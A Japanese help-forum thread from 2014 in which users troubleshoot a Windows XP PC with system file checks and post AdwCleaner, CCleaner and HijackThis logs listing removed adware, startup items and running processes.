Windowsが物理的に壊れていて、修復しなければならないとき、
その修復元のデータとしてリカバリディスクが必要なのです。
ですので、Windowsが壊れてさえいなければ、リカバリディスクは必要ありませんし、
リカバリディスクを要求されることもありません。
しかし、今後のことを考えれば、いつでもリカバリできるように、
リカバリディスクを手元においておくのは悪い選択肢ではありません。
ちなみにその作業は、Windowsが物理的に壊れていないかを確認し、
壊れていた場合に修復するための作業です。
  • IVNO
  • MAIL
  • 2014/03/01 (Sat) 18:30:41
返信フォームへ 
Re: リカバリディスクの件ですが
セーフモードでない通常起動でのコマンドプロンプトにsfc /scannowを実行したときには
リカバリディスクを挿入しろと表示が出ました。
使わないで済む方法はありませんか?

機種はDellになりますがHDDにリカバリ領域が格納されているとかいないとか、今調べています。
  • wysksun
  • 2014/03/01 (Sat) 18:59:53
返信フォームへ 
Windowsの修復が必要な場合は
Windowsを修復するのであれば、リカバリディスクは必須となりますので、
対策をするとすれば、Windowsが破損したまま使用することが、
唯一の回避策となります。
システムスキャンの前に、fsutil dirty set c:をやってみるのも良いかもしれません。
こちらも修復関係ですが、修復する内容が異なります。
  • IVNO
  • MAIL
  • 2014/03/01 (Sat) 20:18:16
返信フォームへ 
DELLの場合は・・・・・CD-ROM必須
IVNO様
SFC関連は、DELLの場合必要なようです。
DELLは、個人的にはリカバリーディスクも修復用リカバリーでハードディスクが
壊れたら使えなくなるリカバリーディスクだったのでもう買わない品物になりましたが。
余談でいれば、マザーボードもオリジナル過ぎてケース移動も不能ですしね。(笑)
http://dell7windows.seesaa.net/article/149961816.html
もう想像出来ていると思いますが、おもいっきり自爆した例です。
  • 三毛猫
  • 2014/03/01 (Sat) 21:08:26
返信フォームへ 
Re: よろしくお願いします。
セーフモードでfsutil dirty set c:を実行しDirtyマークされ自動的にPCの検査が行われました。

同じくセーフモードでsfc /scannowを入力すると以下の文面が出ます。

保護システム ファイルスキャンを初期化できませんでした。
固有のエラーコードは、0x000006ba [RPC サーバーを利用できません。] です。


セーフモードでない通常起動ですとwindows ファイル保護の確認がでます。


よく見てみますと挿入するように言われているものはリカバディディスクではなくwindows XP professional service pack 3 CDでした。
こちらでイメージファイルが提供されていたのでＣＤ-ＲＷに焼いて挿入したのですが間違っていると表示されます。どうしてでしょうか？
http://www.microsoft.com/ja-jp/download/details.aspx?id=25129
  • wysksun
  • 2014/03/02 (Sun) 11:31:35
返信フォームへ 
とりあえず先に進みます
とりあえず先に進むことにします。

再起動後のACのあらたなログにいなります。
# AdwCleaner v3.020 - Report created 02/03/2014 at 11:50:35
# Updated 27/02/2014 by Xplode
# Operating System : Microsoft Windows XP Service Pack 3 (32 bits)
# Username : kwata - SIRIUS
# Running from : C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\AdwCleaner.exe
# Option : Clean

***** [ Services ] *****


***** [ Files / Folders ] *****

Folder Deleted : D:\ProgramFiles\kuaiyong
Folder Deleted : D:\ProgramFiles\MyPC Backup
Folder Deleted : D:\ProgramFiles\WebSearch
File Deleted : C:\WINDOWS\system32\roboot.exe

***** [ Shortcuts ] *****


***** [ Registry ] *****

Key Deleted : HKLM\SOFTWARE\Google\Chrome\Extensions\heoldelcflnigdllmlopiefhkkobendj
Key Deleted : HKCU\Software\Google\Chrome\Extensions\pbjikboenpfhbbejgkoklgkhjpfogcam
Key Deleted : HKLM\SOFTWARE\Classes\AppID\escort.DLL
Key Deleted : HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr
Key Deleted : HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr.1
Key Deleted : HKLM\SOFTWARE\Classes\Prod.cap
Key Deleted : HKLM\SOFTWARE\Classes\speedupmypc
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{09C554C3-109B-483C-A06B-F14172F1A947}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{BDB69379-802F-4EAF-B541-F8DE92DD98DB}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{2EECD738-5844-4A99-B4B6-146BF802613B}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{E46C8196-B634-44A1-AF6E-957C64278AB1}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{31E3BC75-2A09-4CFF-9C92-8D0ED8D1DC0F}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{C66F0B7A-BD67-4982-AF71-C6CA6E7F016F}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{EAF749DC-CD87-4B04-B22A-D4AC3FBCB2BC}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{E2343056-CC08-46AC-B898-BFC7ACF4E755}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{7854F00C-DC77-477E-A10E-603F48442D3B}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{B67B3DBB-C1C9-49D2-B016-2748B0B5017E}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EA582743-9076-4178-9AA6-7393FDF4D5CE}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{F443A627-5009-4323-9C1D-7FD598D0D712}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{B67B3DBB-C1C9-49D2-B016-2748B0B5017E}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{EA582743-9076-4178-9AA6-7393FDF4D5CE}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{F443A627-5009-4323-9C1D-7FD598D0D712}
Key Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4250488A-CB24-0893-C066-B1AEA57BCFF2}
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{014DB5FA-EAFB-4592-A95B-F44D3EE87FA9}
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}
Key Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{BB74DE59-BC4C-4172-9AC4-73315F71CFFE}
Value Deleted : HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List [D:\ProgramFiles\baidu\BaiduYunGuanjia\BaiduYunGuanjia.exe]
Value Deleted : HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List [D:\ProgramFiles\360\360WangPan\npqvod\QvodTerminal.exe]
Key Deleted : HKCU\Software\Alexa Internet
Key Deleted : HKCU\Software\distromatic
Key Deleted : HKCU\Software\InstallCore
Key Deleted : HKCU\Software\AppDataLow\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKCU\Software\AppDataLow\SProtector
Key Deleted : HKLM\Software\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\Software\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKLM\Software\Babylon
Key Deleted : HKLM\Software\Conduit
Key Deleted : HKLM\Software\dt soft\daemon tools toolbar
Key Deleted : HKLM\Software\SP Global
Key Deleted : HKLM\Software\SProtector
Key Deleted : HKLM\Software\systweak
Key Deleted : HKLM\Software\Uniblue
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\MyPC Backup
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\RegClean Pro_is1

***** [ Browsers ] *****

-\\ Internet Explorer v8.0.6001.18702

Setting Restored : HKCU\Software\Microsoft\Internet Explorer\Main [Start Page]

-\\ Mozilla Firefox v27.0.1 (ja)

-\\ Google Chrome v32.0.1700.41

*************************

AdwCleaner[R0].txt - [4930 octets] - [01/03/2014 10:33:49]
AdwCleaner[R1].txt - [4452 octets] - [01/03/2014 10:42:43]
AdwCleaner[R2].txt - [4571 octets] - [01/03/2014 10:49:36]
AdwCleaner[R3].txt - [4690 octets] - [01/03/2014 10:59:38]
AdwCleaner[R4].txt - [5302 octets] - [02/03/2014 11:38:06]
AdwCleaner[R5].txt - [5335 octets] - [02/03/2014 11:49:08]
AdwCleaner[S0].txt - [993 octets] - [01/03/2014 10:36:19]
AdwCleaner[S1].txt - [364 octets] - [01/03/2014 10:44:10]
AdwCleaner[S2].txt - [364 octets] - [01/03/2014 10:52:29]
AdwCleaner[S3].txt - [364 octets] - [01/03/2014 11:00:43]
AdwCleaner[S4].txt - [454 octets] - [02/03/2014 11:39:39]
AdwCleaner[S5].txt - [5222 octets] - [02/03/2014 11:50:35]

########## EOF - C:\AdwCleaner\AdwCleaner[S5].txt - [5282 octets] ##########


CCの各ログになります。
STARTUP
有効 HKCU:Run ctfmon.exe Microsoft Corporation C:\WINDOWS\system32\ctfmon.exe
有効 HKLM:Run Adobe ARM Adobe Systems Incorporated "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
有効 HKLM:Run AppleSyncNotifier Apple Inc. C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CTSysVol Creative Technology Ltd D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
有効 HKLM:Run FeliCa Launcher Sony Corporation "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
有効 HKLM:Run HotKeysCmds Intel Corporation C:\WINDOWS\system32\hkcmd.exe
有効 HKLM:Run IgfxTray Intel Corporation C:\WINDOWS\system32\igfxtray.exe
有効 HKLM:Run IMJPMIG12.0 Microsoft Corporation C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
有効 HKLM:Run IMJPMIG8.1 Microsoft Corporation "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
有効 HKLM:Run iTunesHelper Apple Inc. "D:\ProgramFiles\iTunes\iTunesHelper.exe"
有効 HKLM:Run JustOnlineUpdate 株式会社ジャストシステム "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
有効 HKLM:Run Persistence Intel Corporation C:\WINDOWS\system32\igfxpers.exe
有効 HKLM:Run PHIME2002A Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
有効 HKLM:Run PHIME2002ASync Microsoft Corporation C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
有効 HKLM:Run PocketCloud Location Wyse Technology Inc. D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
有効 HKLM:Run QuickTime Task Apple Inc. "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
有効 Startup Common クライアントマネージャ３.lnk BUFFALO INC. D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
有効 Startup Common スタートアップツール for ATOK 2009.lnk 株式会社ジャストシステム D:\ProgramFiles\JustSystems\ATOK22\ATOK22PC.EXE
有効 Startup User Dropbox.lnk Dropbox, Inc. C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe


INTERNETEXPLORER
有効 Extension Messenger Microsoft Corporation C:\Program Files\Messenger\msmsgs.exe
有効 Extension 接続の問題の診断... Microsoft Corporation %windir%\Network Diagnostic\xpnetdiag.exe
有効 Helper ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
有効 Toolbar ExplorerWnd Helper IObit D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll


FIREFOX
有効 Extension DownThemAll! 2.0.16 Federico Parodi, Stefano Verna, Nils Maier default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\{DDC359D1-844A-42a7-9AA1-88A850A938A8}.xpi
有効 Extension ExsttraCoupoOan 4.3 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\bwgbik2zr@ieyezt-.edu
有効 Extension ExsturaSavings 4.2 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\uf3wyclw@yiezpeo.co.uk
無効 Extension Microsoft .NET Framework Assistant 0.0.0 Microsoft default Firefox 27.0.1 C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
有効 Extension UatubeAdRemoval 2.1 default Firefox 27.0.1 C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Mozilla\Firefox\Profiles\z109q5bt.default\extensions\t1.iud@coo-mppawvxj.org
有効 Plugin Adobe Acrobat 11.0.6.70 Adobe Systems Inc. default Firefox 27.0.1 D:\ProgramFiles\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll
有効 Plugin Google Update 1.3.22.3 Google Inc. default Firefox 27.0.1 D:\ProgramFiles\Google\Update\1.3.22.3\npGoogleUpdate3.dll
有効 Plugin iTunes Application Detector 1.0.1.1 Apple Inc. default Firefox 27.0.1 D:\ProgramFiles\iTunes\Mozilla Plugins\npitunes.dll
有効 Plugin Java Deployment Toolkit 7.0.510.13 10.51.2.13 Oracle Corporation default Firefox 27.0.1 D:\ProgramFiles\Java\jre7\bin\dtplugin\npdeployJava1.dll
無効 Plugin Java(TM) Platform SE 7 U51 10.51.2.13 Oracle Corporation default Firefox 27.0.1 D:\ProgramFiles\Java\jre7\bin\plugin2\npjp2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 27.0.1 C:\Program Files\Windows Media Player\npdrmv2.dll
有効 Plugin Microsoftﾂｮ DRM 9.0.0.4503 Microsoft Corporation default Firefox 27.0.1 C:\Program Files\Windows Media Player\npwmsdrm.dll
有効 Plugin Picasa 3.0.0.0 Google, Inc. default Firefox 27.0.1 D:\ProgramFiles\Google\Picasa3\npPicasa3.dll
有効 Plugin QuickTime Plug-in 7.6.9 7.6.9.0 Apple Inc. default Firefox 27.0.1 D:\ProgramFiles\QuickTime\Plugins\npqtplugin7.dll
有効 Plugin RealDownloader Plugin 1.3.3.66 RealDownloader default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll
有効 Plugin RealNetworks(tm) RealDownloader Chrome Background Extension Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll
有効 Plugin RealNetworks(tm) RealDownloader HTML5VideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll
有効 Plugin RealNetworks(tm) RealDownloader PepperFlashVideoShim Plug-In (32-bit) 1.3.3.66 RealNetworks, Inc. default Firefox 27.0.1 C:\Documents and Settings\All Users\Application Data\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll
有効 Plugin RealPlayer Download Plugin 16.0.3.51 RealPlayer default Firefox 27.0.1 D:\ProgramFiles\Real\RealPlayer\Netscape6\nprpplugin.dll
有効 Plugin RealPlayer Version Plugin 6.0.12.448 default Firefox 27.0.1 D:\ProgramFiles\Real Alternative\browser\plugins\nprpjplug.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 16.0.3.51 RealNetworks, Inc. default Firefox 27.0.1 D:\ProgramFiles\Real\RealPlayer\Netscape6\nppl3260.dll
有効 Plugin RealPlayer(tm) G2 LiveConnect-Enabled Plug-In (32-bit) 6.0.12.450 default Firefox 27.0.1 D:\ProgramFiles\Real Alternative\browser\plugins\nppl3260.dll
有効 Plugin Shockwave Flash 12.0.0.70 Adobe Systems Incorporated default Firefox 27.0.1 C:\WINDOWS\system32\Macromed\Flash\NPSWF32_12_0_0_70.dll
有効 Plugin Silverlight Plug-In 5.1.20913.0 Microsoft Corporation default Firefox 27.0.1 D:\ProgramFiles\Microsoft Silverlight\5.1.20913.0\npctrl.1.0.30401.0.dll
有効 Plugin Windows Media Player Plug-in Dynamic Link Library 3.0.2.629 Microsoft Corporation (written by Digital Renaissance Inc.) default Firefox 27.0.1 C:\Program Files\Windows Media Player\npdsplay.dll
有効 Plugin Windows Presentation Foundation 3.5.30729.1 Microsoft Corporation default Firefox 27.0.1 c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll


CHOROME
無効 Extension Amazon 1Button App for Chrome 4.2014.122.0 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\pbjikboenpfhbbejgkoklgkhjpfogcam\4.2014.122.0_0
有効 Extension Douga Getter 2.3.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hhbcihapcmaemjinlbgafnjjihbdmjnf\2.3.1_0
有効 Extension ExsturaSavings 4.2 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\okoalocjcalfojfnkphopjgejhpeacfa\4.2
有効 Extension Google ウォレット 0.0.6.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0
無効 Extension RealDownloader 1.3.3 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji\1.3.3_0
有効 Extension UatubeAdRemoval 2.1 最初のユーザー C:\Documents and Settings\kwata.SIRIUS.003\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\hbffjepgpdgojjpmnjoeifeapnghpmch\2.1_0


TASK
有効 Task Adobe Flash Player Updater Adobe Systems Incorporated C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
有効 Task AppleSoftwareUpdate Apple Inc. D:\ProgramFiles\Apple Software Update\SoftwareUpdate.exe -task
有効 Task GoogleUpdateTaskMachineCore Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /c
有効 Task GoogleUpdateTaskMachineUA Google Inc. D:\ProgramFiles\Google\Update\GoogleUpdate.exe /ua /installsource scheduler
有効 Task RealPlayerRealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealPlayerRealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck
有効 Task RealUpgradeLogonTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /logoncheck
有効 Task RealUpgradeScheduledTaskS-1-5-21-1645522239-706699826-1606980848-1006 RealNetworks, Inc. D:\ProgramFiles\Real\RealUpgrade\realupgrade.exe /scheduledcheck


あらたにHJTとCCでのインストール情報ログになります。

HJT
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 12:01:58, on 2014/03/03
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
D:\ProgramFiles\Google\Update\GoogleUpdate.exe
D:\ProgramFiles\Java\jre7\bin\jqs.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamscheduler.exe
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamservice.exe
D:\ProgramFiles\Sony\NFC Proxy Service\bin\NFCProxyService.exe
D:\ProgramFiles\RealNetworks\RealDownloader\rndlresolversvc.exe
d:\ProgramFiles\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\WINDOWS\system32\svchost.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\PocketCloudService.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseRemoteAccess.exe
C:\WINDOWS\Explorer.EXE
D:\ProgramFiles\Malwarebytes' Anti-Malware\mbamgui.exe
D:\ProgramFiles\JustSystems\ATOK22\ATOK22MN.EXE
C:\WINDOWS\system32\igfxtray.exe
C:\WINDOWS\system32\hkcmd.exe
D:\ProgramFiles\iTunes\iTunesHelper.exe
D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe
D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe
D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
D:\ProgramFiles\Fenrir Inc\Sleipnir\bin\Sleipnir.exe
C:\WINDOWS\system32\igfxpers.exe
C:\WINDOWS\system32\wscntfy.exe
C:\WINDOWS\system32\ctfmon.exe
D:\ProgramFiles\BUFFALO\Client Manager3\cm3_tray.exe
D:\ProgramFiles\iPod\bin\iPodService.exe
C:\Program Files\Common Files\Sony Shared\FeliCaLibrary\ServiceManager\FeliCaPort_ServiceMgr.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Dropbox\bin\Dropbox.exe
C:\WINDOWS\system32\wuauclt.exe
D:\ProgramFiles\Fenrir Inc\Sleipnir\bin\TouchPaging.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
C:\Documents and Settings\kwata.SIRIUS.003\Application Data\Fenrir Inc\Sleipnir\~temp\plugins\ChromiumEngine\sleipnir_engine_cv.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe
C:\Documents and Settings\kwata.SIRIUS.003\デスクトップ\HijackThis.exe
D:\ProgramFiles\Google\Chrome\Application\chrome.exe

O2 - BHO: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O3 - Toolbar: ExplorerWnd Helper - {10921475-03CE-4E04-90CE-E2E7EF20C814} - D:\ProgramFiles\IObit\IObit Uninstaller\UninstallExplorer32.dll
O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [IMJPMIG12.0] C:\Program Files\Common Files\Microsoft Shared\IME12\IMEJP\IMJPRMZB.EXE /RmZombie
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\system32\hkcmd.exe
O4 - HKLM\..\Run: [iTunesHelper] "D:\ProgramFiles\iTunes\iTunesHelper.exe"
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [AppleSyncNotifier] C:\Program Files\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exe
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [CTSysVol] D:\ProgramFiles\Creative\Surround Mixer\CTSysVol.exe /r
O4 - HKLM\..\Run: [FeliCa Launcher] "D:\ProgramFiles\Sony\FeliCa Launcher\FeliCaLauncher.exe" /AutoStart
O4 - HKLM\..\Run: [JustOnlineUpdate] "C:\Program Files\Common Files\JustSystem\JustOnlineUpdate\JustOnlineUpdate.exe" /startup
O4 - HKLM\..\Run: [PocketCloud Location] D:\ProgramFiles\Wyse\PocketCloud Windows Companion\WyseBrowser.exe
O4 - HKLM\..\Run: [QuickTime Task] "D:\ProgramFiles\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [Persistence] C:\WINDOWS\system32\igfxpers.exe
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKUS\S-1-5-19\..\Run: [ctfmon.exe] ctfmon.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [ctfmon.exe] ctfmon.exe (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-18\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe (User 'Default user')
O8 - Extra context menu item: Add to Google Photos Screensa&ver - res://C:\WINDOWS\system32\GPhotos.scr/200
O8 - Extra context menu item: E&xport to Microsoft Excel - res://D:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - C:\WINDOWS\Network Diagnostic\xpnetdiag.exe
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/su2/ocx/15111/CTPID.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{AAC4A0CB-C003-44A6-9968-242CB0667474}: NameServer = 192.168.1.1
O22 - SharedTaskScheduler: Browseui preloader - {438755C2-A8BA-11D1-B96B-00A0C90312E1} - C:\WINDOWS\system32\browseui.dll
O22 - SharedTaskScheduler: Component Categories cache daemon - {8C7461EF-2B13-11d2-BE35-3078302C2030} - C:\WINDOWS\system32\browseui.dll
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Apple Mobile Device - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: BrlAPI - Unknown owner - D:\cygwin\bin\cygrunsrv.exe
O23 - Service: Bwsvc - BUFFALO INC. - D:\ProgramFiles\BUFFALO\Client Manager3\bwsvc.exe
O23 - Service: Google アップデート サービス (gupdate) (gupdate) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - D:\ProgramFiles\Google\Update\GoogleUpdate.exe
O23 - Service: Google Updater Service (gusvc) - Google - D:\ProgramFiles\Google\Common\Google Updater\GoogleUpdaterService.exe
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - D:\ProgramFiles\iPod\bin\iPodService.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Oracle Corporation - D:\ProgramFiles\Java\jre7\bin\jqs.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - D:\ProgramFiles\IObit\LiveUpdate\LiveUpdate.exe
